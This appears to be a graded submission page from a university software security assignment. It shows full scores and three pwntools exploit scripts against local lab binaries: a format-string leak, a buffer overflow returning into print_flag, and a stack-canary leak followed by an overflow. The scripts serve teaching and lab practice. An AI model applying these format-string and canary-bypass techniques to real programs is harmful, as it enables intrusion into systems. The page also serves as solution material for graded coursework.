Assignment 2: Software Security

Graded

Student

LANA CHLOE LIM

Total Points

20 / 20 pts

Autograder Score

10.0 / 10.0

Passed Tests

Part 1 - Runs Without Errors (1/1)
Part 1 - Outputs Correct Flag (1/1)
Part 1 - Sanity Check (part1.py Exists) (1/1)
Part 2 - Runs Without Errors (1/1)
Part 2 - Outputs Correct Flag (1/1)
Part 2 - Sanity Check (part2.py Exists) (1/1)
Part 3 - Runs Without Errors (1/1)
Part 3 - Outputs Correct Flag (1/1)
Part 3 - Sanity Check (part3.py Exists) (1/1)
report.pdf (1/1)

Question 2

Part 1: Format Me Questions — **2** / 2 pts

2.1 **1.1: Stack Layout** — **1** / 1 pt

✔ **+ 1 pt** Attempt

+ 0 pts No Attempt

2.2 **1.2: Write Format String** — **1** / 1 pt

✔ **+ 1 pt** Attempt

+ 0 pts No Attempt

Question 3

Part 2: Overflow the World Questions — **2** / 2 pts

3.1 **2.1: Buffer Size** — **1** / 1 pt

✔ **+ 1 pt** Attempt

+ 0 pts No Attempt

3.2 **2.2: ret2libc** — **1** / 1 pt

✔ **+ 1 pt** Attempt

+ 0 pts No Attempt

Question 4

Part 3: Killing the Canary Questions **2** / 2 pts

4.1 **3.1: checksec Output** **1** / 1 pt

✔ **+ 1 pt** Attempt

+ 0 pts No Attempt

4.2 **3.2: What can we leak?** **1** / 1 pt

✔ **+ 1 pt** Attempt

+ 0 pts No Attempt

Question 5

Part 4: Gaming Safe **4** / 4 pts

5.1 **4.1: ROP** **1** / 1 pt

✔ **+ 1 pt** Attempt

+ 0 pts No Attempt

5.2 **4.2: Control-Flow Integrity (CFI)** **1** / 1 pt

✔ **+ 1 pt** Attempt

+ 0 pts No Attempt

5.3 **4.3: Symbolic vs Concolic Execution** **1** / 1 pt

✔ **+ 1 pt** Attempt

+ 0 pts No Attempt

5.4 **4.4: Shellcode Attack** **1** / 1 pt

✔ **+ 1 pt** Attempt

+ 0 pts No Attempt

Autograder Results

Part 1 - Runs Without Errors (1/1)

Part 1 - Outputs Correct Flag (1/1)

Part 1 - Sanity Check (part1.py Exists) (1/1)

Part 2 - Runs Without Errors (1/1)

Part 2 - Outputs Correct Flag (1/1)

Part 2 - Sanity Check (part2.py Exists) (1/1)

Part 3 - Runs Without Errors (1/1)

Part 3 - Outputs Correct Flag (1/1)

Part 3 - Sanity Check (part3.py Exists) (1/1)

report.pdf (1/1)

Submitted Files

part1.py Download

```python
#!/usr/bin/env python3
from pwn import *

context.terminal = ['tmux', 'splitw', '-h']

exe = ELF("./format-me")

r = process([exe.path])
# For debugging. Make sure to run `tmux` before running this
# script with the following line uncommented
# gdb.attach(r)

# Your exploit script goes here
for _ in range(10):
    r.recvuntil(b"Recipient? ")
    r.sendline(b"%9$lu")
    parts = r.recvline().strip().split()
    password = parts[-1]
    r.sendline(password)

r.interactive()
```

part2.py Download

```python
#!/usr/bin/env python3
from pwn import *

context.terminal = ['tmux', 'splitw', '-h']

exe = ELF("./overflow-the-world")

r = process([exe.path])
# For debugging. Make sure to run `tmux` before running this
# script with the following line uncommented
# gdb.attach(r)

# Your exploit script goes here
print_flag = exe.symbols['print_flag']
payload = b"A" * 72 + p64(print_flag)

r.recvuntil(b"What's your name? ")
r.sendline(payload)

r.interactive()
```

part3.py Download

```python
#!/usr/bin/env python3
from pwn import *

context.terminal = ['tmux', 'splitw', '-h']

exe = ELF("./killing-the-canary")

r = process([exe.path])
# For debugging. Make sure to run `tmux` before running this
# script with the following line uncommented
# gdb.attach(r)

# Your exploit script goes here
print_flag = exe.symbols["print_flag"]

r.recvuntil(b"What's your name? ")
r.sendline(b"%19$lu")
parts = r.recvline().strip().split()
canary = int(parts[-1])

r.recvuntil(b"What's your message? ")
payload = b"A"*72 + p64(canary) + b"A"*8 + p64(print_flag) # buffer size + canary + padding + function address
r.sendline(payload)

r.interactive()
```

report.pdf

Download

Your browser does not support PDF previews. You can download the file instead.